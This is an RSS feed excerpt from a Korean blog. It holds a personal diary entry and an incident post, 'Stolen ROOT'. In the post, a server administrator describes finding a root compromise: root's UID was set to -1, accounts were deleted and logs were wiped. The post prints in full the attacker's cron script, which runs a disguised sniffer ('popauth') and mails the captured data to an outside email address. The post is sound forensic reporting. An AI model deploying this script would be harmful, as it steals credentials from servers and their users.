&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfile7.uf.tistory.com/original/1866443D4F68B85C33156C&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile7.uf.tistory.com/image/1866443D4F68B85C33156C&quot; alt=&quot;&quot; filemime=&quot;image/jpeg&quot; filename=&quot;stairofsky.jpg&quot; height=&quot;330&quot; width=&quot;534&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;하루를 시간가는줄 모르게, 또 즐겁게 보낼 수 있다는 축복...이란 것이 내게도 잠시 머물렀지만,&lt;br /&gt;
그간 만들어 놓은 내 땀과 쌓아온 믿음을 한순간에 무력하게 만들어버리고 재만 남았구나.&lt;br /&gt;
동해 수심 30미터속에서 이내 죽어버릴 것 같았던 그 때는 발악하면서 살아보려고 발버둥이라도 쳤었는데,&lt;br /&gt;
이 잿더미를 본 순간 발버둥은 커녕 얼음이 되어 버렸다. 무엇을 할 수 있냐고 물었는데 뉴로에서 피드백이 없다.&lt;br /&gt;
심장은 터질것 같은데, 몸은 점점 굳어져 가는 느낌... 느껴본 사람이 있을까.&lt;br /&gt;
&lt;br /&gt;구원자에서 엑스맨으로, 해리포터에서 조빱으로, 이 집은 역시 내 집이 아닌 남의 집, 그 집의 3단 가시방석위에서 피 흘리는 나.&lt;br /&gt;
천국을 향해 등에 사람들 주렁주렁 매달고 구름 근처까지 올라갔는데, 난데없는 벼락 한방 제대로 맞고 추락.&lt;br /&gt;
추락사 했어야 되는데, 하늘에서 추락한건데... 살았네 지미... 그냥 죽이지 그랬냐. 만신창이 상태로 이걸 다시 올라가야 해?;&lt;br /&gt;
누구나 한번쯤 우는 거, 나도 한번 울었다고 생각하기에는 정말 너무x1E+31 재수없지 않니?&lt;br /&gt;
이건 도저히 말로 표현할 수 없다고 생각했는데 하루가 지나니 말문이 트인다. 아, 역시 시간이란 약은...&lt;div class=&quot;tt-plugin tt-share-entry-with-sns tt-sns-icon-alignment-right tt-sns-icon-size-small&quot;&gt;
	&lt;div class=&quot;tt-sns-wrap&quot; id=&quot;ttSnsWrap-&quot;&gt;
		&lt;ul class=&quot;tt-sns-service-default&quot;&gt;
			&lt;li class=&quot;tt-sns-service-mypeople&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('mypeople', '', '');&quot;&gt;마이피플&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-twitter&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('twitter', '', '');&quot;&gt;트위터&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-facebook&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('facebook', '', '');&quot;&gt;페이스북&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-other&quot;&gt;&lt;a href=&quot;javascript:;&quot; onmouseover=&quot;ShareEntryWithSNS.showLayer(event, '');&quot; onmouseout=&quot;ShareEntryWithSNS.hideLayer(event, '');&quot;&gt;더보기&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
		&lt;ul class=&quot;tt-sns-service-more&quot; id=&quot;ttSnsServiceMore-&quot; onmouseout=&quot;ShareEntryWithSNS.hideLayer(event, '');&quot;&gt;
			&lt;li class=&quot;tt-sns-service-me2day&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('me2day', '', '');&quot;&gt;미투데이&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-yozm&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('yozm', '', '');&quot;&gt;요즘&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
	&lt;/div&gt;
	&lt;div class=&quot;tt-sns-clear&quot;&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이선스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/DerivativeWorks&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/ShareAlike&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>Diary</category>
			<author>와닥</author>
			<guid>http://www.oops4u.com/1624</guid>
			<comments>http://www.oops4u.com/1624#entry1624comment</comments>
			<pubDate>Wed, 21 Mar 2012 02:07:30 +0900</pubDate>
		</item>
		<item>
			<title>Stolen ROOT</title>
			<link>http://www.oops4u.com/1623</link>
			<description>&lt;STRONG&gt;&lt;FONT color=#5c7fb0&gt;&lt;SPAN style=&quot;FONT-SIZE: 12pt&quot;&gt;1. 사건 시작&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/STRONG&gt;&lt;br /&gt;
&lt;br /&gt;Logwatch 에 배달된 내용.&lt;br /&gt;
&lt;br /&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;Mar 12 01:20:01 xxxx crond[21145]: User not known to the underlying authentication module&lt;br /&gt;
Mar 12 01:20:01 xxxx crond[21145]: CRON (cactiuser) ERROR: failed to open PAM security session: Success&lt;br /&gt;
Mar 12 01:20:01 xxxx crond[21145]: CRON (cactiuser) ERROR: cannot set security context&lt;br /&gt;
...&lt;br /&gt;
&lt;/DIV&gt;&lt;br /&gt;
잉... 이건 뭐... 한참을 스크롤해 내려가는데,&lt;br /&gt;
&lt;br /&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #fe8943 1px dashed; BORDER-LEFT: #fe8943 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #fedec7; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #fe8943 1px dashed; BORDER-RIGHT: #fe8943 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;&lt;STRONG&gt;Deleted Users&lt;/STRONG&gt;:&amp;nbsp; &lt;br /&gt;
&amp;nbsp; test&amp;nbsp; &lt;br /&gt;
&amp;nbsp; cactiuser&amp;nbsp; &lt;br /&gt;
&amp;nbsp; bin&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;&lt;STRONG&gt;Deleted Groups&lt;/STRONG&gt;:&amp;nbsp; &lt;br /&gt;
&amp;nbsp; test&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;&lt;STRONG&gt;Removed From Group&lt;/STRONG&gt;:&amp;nbsp; &lt;br /&gt;
&amp;nbsp; user cactiuser from group cacti&amp;nbsp; &lt;br /&gt;
&amp;nbsp; user cactiuser from group cacti&amp;nbsp; &lt;br /&gt;
&amp;nbsp; user bin from group bin&amp;nbsp; &lt;br /&gt;
&amp;nbsp; user bin from group daemon&amp;nbsp; &lt;br /&gt;
&amp;nbsp; user bin from group sys&amp;nbsp; &lt;br /&gt;
&amp;nbsp; user bin from group bin&amp;nbsp; &lt;br /&gt;
&amp;nbsp; user bin from group daemon&amp;nbsp; &lt;br /&gt;
&amp;nbsp; user bin from group sys&lt;br /&gt;
&lt;/DIV&gt;&lt;br /&gt;
컥... 당황한 나는 서버에 접속하여 su 권한으로 .bash_history 를 열어봅니다.&lt;br /&gt;
&lt;br /&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;# vi .bash_history&lt;br /&gt;
/root/.bash_history: Permission denied&lt;br /&gt;
&lt;/DIV&gt;&lt;br /&gt;
컥;;;&lt;br /&gt;
&lt;br /&gt;# ls -al&lt;br /&gt;

&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;drwxr-x---&amp;nbsp; 7 &lt;FONT color=#e31600&gt;&lt;STRONG&gt;0&lt;/STRONG&gt;&lt;/FONT&gt; root&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 4096&amp;nbsp; 3월 12 01:31 .&lt;br /&gt;
drwxr-xr-x 24 &lt;FONT color=#e31600&gt;&lt;STRONG&gt;0&lt;/STRONG&gt;&lt;/FONT&gt; root&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 4096&amp;nbsp; 3월&amp;nbsp; 8 12:57 ..&lt;br /&gt;
-rw-------&amp;nbsp; 1 &lt;FONT color=#e31600&gt;&lt;STRONG&gt;0&lt;/STRONG&gt;&lt;/FONT&gt; root&amp;nbsp;&amp;nbsp;&amp;nbsp; 15436&amp;nbsp; 3월&amp;nbsp; 9 12:53 .bash_history&lt;br /&gt;
-rw-r--r--&amp;nbsp; 1 &lt;FONT color=#e31600&gt;&lt;STRONG&gt;0&lt;/STRONG&gt;&lt;/FONT&gt; root&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 24&amp;nbsp; 1월&amp;nbsp; 6&amp;nbsp; 2007 .bash_logout&lt;br /&gt;
-rw-r--r--&amp;nbsp; 1 &lt;FONT color=#e31600&gt;&lt;STRONG&gt;0&lt;/STRONG&gt;&lt;/FONT&gt; root&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 307&amp;nbsp; 1월 30 10:48 .bash_profile&lt;br /&gt;
-rw-r--r--&amp;nbsp; 1 &lt;FONT color=#e31600&gt;&lt;STRONG&gt;0&lt;/STRONG&gt;&lt;/FONT&gt; root&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 176&amp;nbsp; 1월&amp;nbsp; 6&amp;nbsp; 2007 .bashrc&lt;br /&gt;
&lt;/DIV&gt;&lt;br /&gt;
root 사용자 자리에 0...&lt;br /&gt;
서버의 모든 root 소유 파일과 디렉토리는 저 모양으로 바뀌었고, root 로는 아무것도 할 수가 없었습니다.&lt;br /&gt;
그나마 다행은 다른 계정들은 무사.&lt;br /&gt;
&lt;br /&gt;log들 확인하려 했더니 삭제되고 없고 ( messages, maillog, boot.log )&lt;br /&gt;
secure 에서 찾은 이미 확인한 로그...&lt;br /&gt;
&lt;br /&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;Mar 12 01:16:43 xxxx userdel[21122]: delete user `test'&lt;br /&gt;
Mar 12 01:16:43 xxxx userdel[21122]: removed group `test' owned by `test'&lt;br /&gt;
Mar 12 01:16:48 xxxx userdel[21127]: delete user `cactiuser'&lt;br /&gt;
Mar 12 01:16:48 xxxx userdel[21127]: delete `cactiuser' from group `cacti'&lt;br /&gt;
Mar 12 01:16:48 xxxx userdel[21127]: delete `cactiuser' from shadow group `cacti'&lt;br /&gt;
Mar 12 01:29:56 xxxx userdel[28380]: delete user `bin'&lt;br /&gt;
Mar 12 01:29:56 xxxx userdel[28380]: delete `bin' from group `bin'&lt;br /&gt;
Mar 12 01:29:56 xxxx userdel[28380]: delete `bin' from group `daemon'&lt;br /&gt;
Mar 12 01:29:56 xxxx userdel[28380]: delete `bin' from group `sys'&lt;br /&gt;
Mar 12 01:29:56 xxxx userdel[28380]: delete `bin' from shadow group `bin'&lt;br /&gt;
Mar 12 01:29:56 xxxx userdel[28380]: delete `bin' from shadow group `daemon'&lt;br /&gt;
Mar 12 01:29:56 xxxx userdel[28380]: delete `bin' from shadow group `sys'&lt;br /&gt;
&lt;/DIV&gt;&lt;br /&gt;
일단 root 계정 확인해보고&lt;br /&gt;
&lt;br /&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;# id root&lt;br /&gt;
uid=&lt;FONT color=#e31600&gt;&lt;STRONG&gt;4294967295&lt;/STRONG&gt;&lt;/FONT&gt;(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)&lt;br /&gt;
&lt;/DIV&gt;&lt;br /&gt;
뭔가 저 uid는...&lt;br /&gt;
&lt;br /&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;# vi /etc/passwd&lt;br /&gt;
root:x:&lt;FONT color=#e31600&gt;&lt;STRONG&gt;-1&lt;/STRONG&gt;&lt;/FONT&gt;:0:root:/root:/bin/bash&lt;br /&gt;
daemon:x:2:2:daemon:/sbin:/sbin/nologin&lt;br /&gt;
adm:x:3:4:adm:/var/adm:/sbin/nologin&lt;br /&gt;
&lt;/DIV&gt;&lt;br /&gt;
bin 은 삭제되서 온데간데 없고, root 는 uid 가 -1...&lt;br /&gt;
하지만 권한이 없어서 수정할 수가 없습니다. ㅠ&lt;br /&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;FONT color=#5c7fb0&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;FONT-SIZE: 12pt&quot;&gt;2. 해결&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/FONT&gt;&lt;br /&gt;
&lt;br /&gt;sudo 권한을 가진 일반 계정으로 접속하여, passwd 파일 접근 후 root uid 수정.&lt;br /&gt;
&lt;br /&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;$ &lt;FONT color=#e31600&gt;&lt;STRONG&gt;sudo &lt;/STRONG&gt;&lt;/FONT&gt;vi /etc/passwd&lt;br /&gt;
root:x:-1:0:root:/root:/bin/bash&lt;br /&gt;
root:x:&lt;STRONG&gt;&lt;FONT color=#ff8b16&gt;0&lt;/FONT&gt;&lt;/STRONG&gt;:0:root:/root:/bin/bash&lt;br /&gt;
&lt;/DIV&gt;&lt;br /&gt;
다행히 수정이 되었습니다ㅠ&lt;br /&gt;
bin(1) cactiuser 도 새로 생성하고 그룹지정을 잘 해줬습니다.&lt;br /&gt;
iptables 설정 후 syslogd 재부팅하고 나서 때마침 root로 날아온 메일.&lt;br /&gt;
&lt;br /&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;/etc/cron.daily/0logwatch:&lt;br /&gt;
&lt;br /&gt;Who are you?&lt;br /&gt;
&lt;FONT color=#e31600&gt;&lt;STRONG&gt;/etc/cron.daily/dnsquery&lt;/STRONG&gt;&lt;/FONT&gt;:&lt;br /&gt;
&lt;br /&gt;./popauth: error while loading shared libraries: libdb.so.3: cannot open shared object file: No such file or directory&lt;br /&gt;
mkdir: cannot create directory `/usr/share/misc/': File exists&lt;br /&gt;
mkdir: cannot create directory `/usr/share/misc/&lt;FONT color=#e31600&gt;&lt;STRONG&gt;blah&lt;/STRONG&gt;&lt;/FONT&gt;/': File exists&lt;br /&gt;
Who are you?&lt;br /&gt;
popauth: no process killed&lt;br /&gt;
popauth: error while loading shared libraries: libdb.so.3: cannot open shared object file: No such file or directory&lt;br /&gt;
/etc/cron.daily/logrotate:&lt;br /&gt;
&lt;br /&gt;error: stat of /var/log/messages failed: No such file or directory&lt;br /&gt;
error: stat of /var/log/maillog failed: No such file or directory&lt;br /&gt;
error: stat of /var/log/boot.log failed: No such file or directory&lt;br /&gt;
&lt;br /&gt;--q2CNvx1S006556.1331596695/xxxx--&lt;br /&gt;
&lt;/DIV&gt;&lt;br /&gt;
머냐 이건; 이 메일 안왔으면 어쩔뻔했냐...&lt;br /&gt;
&lt;br /&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;# ls -al /etc/cron.daily/dnsquery&lt;br /&gt;
-rwxr-xr-x&amp;nbsp; 1 &lt;FONT color=#e31600&gt;&lt;STRONG&gt;1000 users&lt;/STRONG&gt;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp; 346&amp;nbsp; 4월 15&amp;nbsp; 2012 dnsquery&lt;br /&gt;
&lt;/DIV&gt;&lt;br /&gt;
어이구, 이분은 미래에서 오셨구만...&lt;br /&gt;
&lt;br /&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;# vi /etc/cron.daily/dnsquery&lt;br /&gt;
&lt;br /&gt;#!/bin/sh&lt;br /&gt;
cd /usr/lib/&lt;br /&gt;
./&lt;STRONG&gt;&lt;FONT color=#e31600&gt;popauth &lt;/FONT&gt;&lt;/STRONG&gt;-r httpd.log &amp;gt; test&lt;br /&gt;
mkdir /usr/share/misc/&lt;br /&gt;
mkdir /usr/share/misc/blah/&lt;br /&gt;
cat /usr/share/misc/blah/temp.log |uniq &amp;gt;&amp;gt; test&lt;br /&gt;
echo &amp;gt;/usr/share/misc/blah/temp.log&lt;br /&gt;
mail &lt;FONT color=#e31600&gt;&lt;STRONG&gt;ov1del@yahoo.com &lt;/STRONG&gt;&lt;/FONT&gt;-s &quot;$(hostname -f)&quot; &amp;lt; test&lt;br /&gt;
rm -rf test httpd.log&lt;br /&gt;
A=$PATH&lt;br /&gt;
killall -9 popauth&lt;br /&gt;
export PATH=/usr/lib/&lt;br /&gt;
popauth -w httpd.log &amp;amp;&lt;br /&gt;
export PATH=$A&lt;br /&gt;
&lt;/DIV&gt;&lt;br /&gt;
저 메일 주인분이 범인...&lt;br /&gt;
&lt;br /&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;# find / -group &lt;FONT color=#ff8b16&gt;&lt;STRONG&gt;users &lt;/STRONG&gt;&lt;/FONT&gt;-exec ls -al {} \;&lt;br /&gt;
-rwxr-xr-x 1 1000 users 388262&amp;nbsp; 4월 15&amp;nbsp; 2012 /usr/lib/popauth&lt;br /&gt;
-rwxr-xr-x 1 1000 users 1092&amp;nbsp;&amp;nbsp;&amp;nbsp; 4월 15&amp;nbsp; 2012 /usr/local/lib/dsniff.services&lt;br /&gt;
-rw-r--r-- 1 1000 users 2824&amp;nbsp;&amp;nbsp; 12월&amp;nbsp; 5&amp;nbsp; 2010 /usr/local/src/cacti-0.8.7i-PIA-3.1/...&lt;br /&gt;
&lt;/DIV&gt;&lt;br /&gt;
users 그룹의 파일들을 찾아보니&lt;br /&gt;
저분이 만들어 놓은 파일들과 cacti 의 압축 풀었던 디렉토리가 1000:users 인 것을 확인하고 바로 디렉토리 삭제;&lt;br /&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;FONT color=#5c7fb0&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;FONT-SIZE: 12pt&quot;&gt;3. 마무리&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/FONT&gt;&lt;br /&gt;
&lt;br /&gt;어떻게 뚫린건지는 모르겠습니다. 사실 뚫릴거라고 생각하고 있던 서버중에 하나이기도 합니다.&lt;br /&gt;
일단 의심스러운 파일들은 모조리 삭제했지만, iptables 미설정 때문이라면 오히려 속편하겠습니다.&lt;br /&gt;
iptables 설정 후에도 이와 같은 해킹이 일어난다면 난 더이상 할 수 있는게 없습니다 ㅠ&lt;br /&gt;&lt;div class=&quot;tt-plugin tt-share-entry-with-sns tt-sns-icon-alignment-right tt-sns-icon-size-small&quot;&gt;
	&lt;div class=&quot;tt-sns-wrap&quot; id=&quot;ttSnsWrap-&quot;&gt;
		&lt;ul class=&quot;tt-sns-service-default&quot;&gt;
			&lt;li class=&quot;tt-sns-service-mypeople&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('mypeople', '', '');&quot;&gt;마이피플&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-twitter&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('twitter', '', '');&quot;&gt;트위터&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-facebook&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('facebook', '', '');&quot;&gt;페이스북&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-other&quot;&gt;&lt;a href=&quot;javascript:;&quot; onmouseover=&quot;ShareEntryWithSNS.showLayer(event, '');&quot; onmouseout=&quot;ShareEntryWithSNS.hideLayer(event, '');&quot;&gt;더보기&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
		&lt;ul class=&quot;tt-sns-service-more&quot; id=&quot;ttSnsServiceMore-&quot; onmouseout=&quot;ShareEntryWithSNS.hideLayer(event, '');&quot;&gt;
			&lt;li class=&quot;tt-sns-service-me2day&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('me2day', '', '');&quot;&gt;미투데이&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-yozm&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('yozm', '', '');&quot;&gt;요즘&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
	&lt;/div&gt;
	&lt;div class=&quot;tt-sns-clear&quot;&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이선스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/DerivativeWorks&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/ShareAlike&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>Prog</category>
			<author>와닥</author>
			<guid>http://www.oops4u.com/1623</guid>
			<comments>http://www.oops4u.com/1623#entry1623comment</comments>
			<pubDate>Tue, 13 Mar 2012 01:02:00 +0900</pubDate>
		</item>
	</channel>
</rss>
